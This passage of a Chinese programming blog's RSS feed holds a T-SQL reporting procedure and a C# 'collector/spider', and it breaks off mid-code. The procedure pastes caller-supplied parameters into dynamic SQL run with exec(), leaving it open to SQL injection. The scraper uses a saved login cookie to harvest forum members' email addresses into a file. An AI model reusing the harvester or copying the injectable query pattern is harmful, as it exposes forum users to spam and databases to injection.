sp;=&nbsp;0&nbsp;<br/>BEGIN&nbsp;<br/>--print&nbsp;@pv<br/>--print&nbsp;&#39;ok-begin&#39;<br/>if&nbsp;@d&nbsp;=&nbsp;3<br/>set&nbsp;@str_date&nbsp;=&nbsp;&#39;convert(varchar(10),getdate()-1,120)&nbsp;&#39;<br/><br/><br/>if&nbsp;@d&nbsp;=&nbsp;2<br/>--set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>set&nbsp;@str_group_lin&nbsp;&nbsp;=&nbsp;@str_group_lin&nbsp;&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>--print&nbsp;@str_all<br/><br/>if&nbsp;@d&nbsp;=&nbsp;1<br/>set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;&#39;sum(&#39;+&nbsp;@pv&nbsp;+&nbsp;&#39;),&#39;<br/>--print&nbsp;@str_all<br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d<br/>end<br/>--print&nbsp;@str_all<br/><br/>CLOSE&nbsp;zconfig_cur<br/>DEALLOCATE&nbsp;zconfig_cur<br/><br/><br/>set&nbsp;@str_all&nbsp;=&nbsp;left(@str_all,(len(@str_all)-1))<br/>set&nbsp;@str_group_lin=&nbsp;left(@str_group_lin,(len(@str_group_lin)-1))<br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@str_all&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;&#39;+&nbsp;@str_date&nbsp;+&#39;&nbsp;&nbsp;group&nbsp;by&nbsp;&#39;&nbsp;&nbsp;+&nbsp;@str_group_lin<br/>print&nbsp;@str_all<br/><br/>exec&nbsp;(@str_all)<br/><br/>--------<br/>sel&#101;ct&nbsp;sum(STOCK_Q&nbsp;),sum(stock_m)&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;convert(varchar(10),getdate()-2,120)&nbsp;&nbsp;&nbsp;group&nbsp;by&nbsp;MEINS,WAERS<br/><br/>return&nbsp;&nbsp;@str_all&nbsp;<br/><br/><br/><br/><br/><br/><br/>end<br/><br/>sel&#101;ct&nbsp;dbo.z_cou1(&#39;zl0119&#39;)<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;reportconfig<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;&nbsp;&nbsp;=&nbsp;convert(varchar(10),getdate()-1,120)&nbsp;&nbsp;<br/><br/><br/>----<br/>dro&#112;&nbsp;procedure&nbsp;zpro_sql_sum<br/>GO<br/>--存储过程版本<br/>cr&#101;ate&nbsp;procedure&nbsp;zpro_sql_sum<br/>@reportName&nbsp;varchar(20),<br/>@ekorg&nbsp;varchar(300)<br/>as&nbsp;<br/><br/>--------------<br/>declare&nbsp;@ps&nbsp;varchar(20),@pv&nbsp;varchar(20),@d&nbsp;int,@str_all&nbsp;varchar(2000),@str_group_lin&nbsp;varchar(200),@str_date&nbsp;varchar(40)<br/>declare&nbsp;@par&nbsp;varchar(20),@str_orders&nbsp;varchar(200),@str_ekorg&nbsp;varchar(10)<br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_group_lin&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_orders&nbsp;=&nbsp;&#39;&#39;<br/>set&nbsp;@str_ekorg&nbsp;=&nbsp;&#39;&#39;<br/>--set&nbsp;@str_date&nbsp;=&nbsp;getdate()&nbsp;-1<br/>declare&nbsp;zconfig_cur&nbsp;cursor&nbsp;for<br/>sel&#101;ct&nbsp;PARAMATERS,PARAM_VALUE,ztype,PARAMATERS&nbsp;from<br/>reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;@reportName&nbsp;AND&nbsp;PARAMATERS&nbsp;&lt;&gt;&nbsp;&#39;报表名称&#39;&nbsp;o&#114;DER&nbsp;BY&nbsp;DISPLAY_ORDER<br/>--reportconfig&nbsp;wh&#101;re&nbsp;reportname&nbsp;=&nbsp;&#39;ZL0119&#39;&nbsp;AND&nbsp;PARAMATERS&nbsp;&lt;&gt;&nbsp;&#39;报表名称&#39;<br/><br/>open&nbsp;zconfig_cur&nbsp;<br/><br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d,@par<br/>WHILE&nbsp;@@FETCH_STATUS&nbsp;=&nbsp;0&nbsp;<br/>BEGIN&nbsp;<br/><br/><br/>--if&nbsp;@d&nbsp;=&nbsp;3<br/>if&nbsp;@par&nbsp;=&nbsp;&#39;日期&#39;<br/>set&nbsp;@str_date&nbsp;=&nbsp;&#39;convert(varchar(10),getdate()-1,120)&nbsp;&#39;&nbsp;&nbsp;&nbsp;--需要按实际情况进行修改　为前一天<br/>--if&nbsp;@d&nbsp;=&nbsp;2<br/><br/>if&nbsp;@par&nbsp;=&nbsp;&#39;分类字段&#39;&nbsp;o&#114;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@par&nbsp;=&#39;部门&#39;&nbsp;o&#114;&nbsp;@par&nbsp;=&#39;部组&#39;<br/>begin<br/>set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>set&nbsp;@str_group_lin&nbsp;&nbsp;=&nbsp;@str_group_lin&nbsp;&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>end<br/>--print&nbsp;@str_all<br/><br/>--if&nbsp;@d&nbsp;=&nbsp;1<br/>if&nbsp;@par&nbsp;=&nbsp;&#39;汇总字段&#39;<br/>set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;&#39;sum(&#39;+&nbsp;@pv&nbsp;+&nbsp;&#39;)&nbsp;as&nbsp;&#39;+&nbsp;@pv&nbsp;+&#39;,&#39;<br/>--print&nbsp;@str_all<br/><br/>if&nbsp;@par&nbsp;=&nbsp;&#39;排序字段&#39;<br/>begin<br/>set&nbsp;@str_orders&nbsp;=&nbsp;@str_orders&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>--print&nbsp;@str_orders<br/>end<br/><br/>if&nbsp;@par&nbsp;=&nbsp;&#39;部门&#39;<br/>&nbsp;begin<br/>&nbsp;&nbsp;set&nbsp;@str_ekorg&nbsp;=&nbsp;@pv<br/>&nbsp;end<br/><br/><br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d,@par<br/>end<br/>--print&nbsp;@str_all<br/><br/>CLOSE&nbsp;zconfig_cur<br/>DEALLOCATE&nbsp;zconfig_cur<br/><br/>if&nbsp;len(@str_all)&nbsp;&gt;&nbsp;0<br/>begin<br/>&nbsp;<br/>set&nbsp;@str_all&nbsp;=&nbsp;left(@str_all,(len(@str_all)-1))<br/>set&nbsp;@str_group_lin=&nbsp;left(@str_group_lin,(len(@str_group_lin)-1))<br/>--set&nbsp;@str_orders=&nbsp;left(@str_orders,(len(@str_orders)-1))<br/>--set&nbsp;@str_all&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@str_all&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;&#39;+&nbsp;@str_date&nbsp;+&#39;&nbsp;&nbsp;group&nbsp;by&nbsp;&#39;&nbsp;&nbsp;+&nbsp;@str_group_lin&nbsp;&nbsp;+&nbsp;&#39;&nbsp;o&#114;der&nbsp;by&nbsp;&#39;&nbsp;+&nbsp;@str_group_lin&nbsp;&nbsp;--order&nbsp;by&nbsp;字段需要出现在GROUP&nbsp;BY&nbsp;字段中<br/><br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@str_all&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;&nbsp;&#39;&nbsp;+&nbsp;@reportName&nbsp;+&nbsp;&#39;&nbsp;wh&#101;re&nbsp;&#39;+&nbsp;@str_ekorg&nbsp;+&#39;&nbsp;IN&nbsp;(&nbsp;&#39;&nbsp;+&nbsp;@ekorg&nbsp;+&nbsp;&#39;)&nbsp;and&nbsp;&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;&#39;+&nbsp;@str_date&nbsp;+&#39;&nbsp;&nbsp;group&nbsp;by&nbsp;&#39;&nbsp;&nbsp;+&nbsp;@str_group_lin&nbsp;+&nbsp;&#39;&nbsp;o&#114;der&nbsp;by&nbsp;&#39;&nbsp;+&nbsp;@str_group_lin<br/>print&nbsp;@str_all<br/><br/>exec&nbsp;(@str_all)<br/>end<br/>go<br/><br/><br/>---执行存储过程&nbsp;输入报表名，部门名称<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0119&#39;,&nbsp;&#39;1010&#39;&nbsp;<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0088&#39;,&nbsp;&#39;1000,1010&#39;<br/><br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0080&#39;,&nbsp;&#39;1010&#39;&nbsp;<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0102&#39;,&nbsp;&#39;1000,1010&#39;<br/><br/>--sel&#101;ct&nbsp;sum(STOCK_Q&nbsp;)&nbsp;as&nbsp;STOCK_Q&nbsp;,MEINS,sum(stock_m)&nbsp;as&nbsp;stock_m,WAERS&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;convert(varchar(10),getdate()-2,120)&nbsp;&nbsp;&nbsp;group&nbsp;by&nbsp;MEINS,WAERS<br/><br/>--sel&#101;ct&nbsp;sum(STOCK_Q&nbsp;)&nbsp;as&nbsp;STOCK_Q&nbsp;,MEINS,sum(stock_m)&nbsp;as&nbsp;stock_m,WAERS,ekotx,eknam&nbsp;from&nbsp;&nbsp;ZL0119&nbsp;wh&#101;re&nbsp;ekorg&nbsp;=&nbsp;1010and&nbsp;&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;convert(varchar(10),getdate()-2,120)&nbsp;&nbsp;&nbsp;group&nbsp;by&nbsp;MEINS,WAERS,ekotx,eknam&nbsp;o&#114;der&nbsp;by&nbsp;MEINS,WAERS,ekotx,eknam<br/>sel&#101;ct&nbsp;*<br/>&nbsp;from&nbsp;zl0088<br/><br/>up&#100;ate&nbsp;zl0088&nbsp;set&nbsp;waerc&nbsp;=&nbsp;&#39;USD&#39;&nbsp;wh&#101;re&nbsp;vgbel&nbsp;&gt;=100000661<br/>up&#100;ate&nbsp;zl0088&nbsp;set&nbsp;sql_date&nbsp;=&nbsp;&#39;2008-11-25&#39;,vkbur&nbsp;=&nbsp;&#39;1000&#39;&nbsp;wh&#101;re&nbsp;vgbel&nbsp;&nbsp;&lt;100000661<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;sql_date&nbsp;=&nbsp;<br/>--更新测试数据<br/>up&#100;ate&nbsp;zl0119&nbsp;set&nbsp;sql_date&nbsp;=&nbsp;getdate()&nbsp;-1&nbsp;<br/>go<br/>up&#100;ate&nbsp;zl0088&nbsp;set&nbsp;&nbsp;sql_date&nbsp;=&nbsp;getdate()&nbsp;-1&nbsp;<br/>go<br/>-----------------------<br/><br/>--在MSSQL中未发现split拆分函数<br/>--MSSQL数据库&nbsp;split函数<br/>--@str&nbsp;字符串&nbsp;@splitstr&nbsp;分隔符号&nbsp;如&#34;,&#34;<br/>Cr&#101;ate&nbsp;function&nbsp;[dbo].[z_split](@str&nbsp;varchar(8000),@splitstr&nbsp;varchar(10))<br/>&nbsp;&nbsp;&nbsp;&nbsp;returns&nbsp;@temp&nbsp;table([splitcolumn]&nbsp;varchar(20))<br/>as&nbsp;<br/>begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;declare&nbsp;@i&nbsp;int<br/>&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@str=rtrim(ltrim(@str))<br/>&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@i=charindex(@splitstr,@str)<br/>&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;@i&gt;=1<br/>&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ins&#101;rt&nbsp;@temp&nbsp;values(left(@str,@i-1))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@str=substring(@str,@i+1,len(@str)-@i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@i=charindex(@splitstr,@str)<br/>&nbsp;&nbsp;&nbsp;&nbsp;end<br/>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;@str&lt;&gt;&#39;&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ins&#101;rt&nbsp;@temp&nbsp;values(@str)<br/>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;<br/>end<br/><br/>--调用：<br/>sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[dbo].[z_split](&#39;11,33,455&#39;,&#39;,&#39;)&nbsp;<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=154</link>
			<title><![CDATA[C#采集器、蜘蛛]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[ASP.NET]]></category>
			<pubDate>Mon,25 Aug 2008 16:57:28 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=154</guid>	
		<description><![CDATA[using&nbsp;System;<br/>using&nbsp;System.Collections.Generic;<br/>using&nbsp;System.Text;<br/>using&nbsp;System.Net;<br/>using&nbsp;System.Web;<br/>using&nbsp;System.IO;<br/>using&nbsp;System.Collections;<br/>using&nbsp;System.Text.RegularExpressions;<br/><br/><br/>namespace&nbsp;chinaz<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;Program<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;void&nbsp;Main(string[]&nbsp;args)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;cookie&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;(StreamReader&nbsp;sr&nbsp;=&nbsp;new&nbsp;StreamReader(&#34;cookie.txt&#34;))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookie&nbsp;=&nbsp;sr.ReadToEnd();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sr.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//string&nbsp;tmp&nbsp;=&nbsp;SRWebClient.GetPage(&#34;<a href="http://bbs.chinaz.com/Members.html?page=1" target="_blank">http://bbs.chinaz.com/Members.html?page=1</a>&amp;sort=Cr&#101;ateDate&amp;desc=true&amp;keyword=&#34;,&nbsp;Encoding.UTF8,&nbsp;cookie);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;a&nbsp;=&nbsp;int.Parse(Console.ReadLine());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;b&nbsp;=&nbsp;int.Parse(Console.ReadLine());<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;url&nbsp;=&nbsp;Console.ReadLine();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hashtable&nbsp;hash&nbsp;=&nbsp;new&nbsp;Hashtable();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Encoding&nbsp;encoding&nbsp;=&nbsp;Encoding.GetEncoding(Console.ReadLine());<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;a;&nbsp;i&nbsp;&lt;=&nbsp;b;&nbsp;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;html&nbsp;=&nbsp;SRWebClient.GetPage(string.Format(url,&nbsp;i),&nbsp;encoding,&nbsp;cookie);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Console.WriteLine(html);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(html&nbsp;!=&nbsp;null&nbsp;&amp;&amp;&nbsp;html.Length&nbsp;&gt;&nbsp;1000)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Match&nbsp;m&nbsp;=&nbsp;Regex.Match(html,&nbsp;@&#34;\w+([-+.&#39;]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*&#34;,&nbsp;RegexOptions.Compiled&nbsp;|&nbsp;RegexOptions.IgnoreCase);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(m&nbsp;!=&nbsp;null&nbsp;&amp;&amp;&nbsp;m.Value&nbsp;!=&nbsp;null&nbsp;&amp;&amp;&nbsp;m.Value.Trim()&nbsp;!=&nbsp;string.Empty)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!hash.Contains(m.Value))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine(m.Value);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;(StreamWriter&nbsp;sw&nbsp;=&nbsp;new&nbsp;StreamWriter(&#34;mail.txt&#34;,&nbsp;true))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sw.WriteLine(m.Value);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sw.Close();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hash.Add(m.Value,&nbsp;string.Empty);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;m.NextMatch();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.Write(&#34;完成&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.ReadLine();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;class&nbsp;SRWebClient<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;CookieCollection&nbsp;cookie;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;SRWebClient()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookie&nbsp;=&nbsp;null;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;从包含多个&nbsp;Cookie&nbsp;的字符串读取到&nbsp;CookieCollection&nbsp;集合中<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;void&nbsp;AddCookieWithCookieHead(ref&nbsp;CookieCollection&nbsp;cookieCol,&nbsp;string&nbsp;cookieHead,&nbsp;string&nbsp;defaultDomain)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(cookieCol&nbsp;==&nbsp;null)&nbsp;cookieCol&nbsp;=&nbsp;new&nbsp;CookieCollection();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(cookieHead&nbsp;==&nbsp;null)&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string[]&nbsp;ary&nbsp;=&nbsp;cookieHead.Split(&#39;;&#39;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;ary.Length;&nbsp;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cookie&nbsp;ck&nbsp;=&nbsp;GetCookieFromString(ary[i].Trim(),&nbsp;defaultDomain);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ck&nbsp;!=&nbsp;null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cookieCol.Add(ck);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs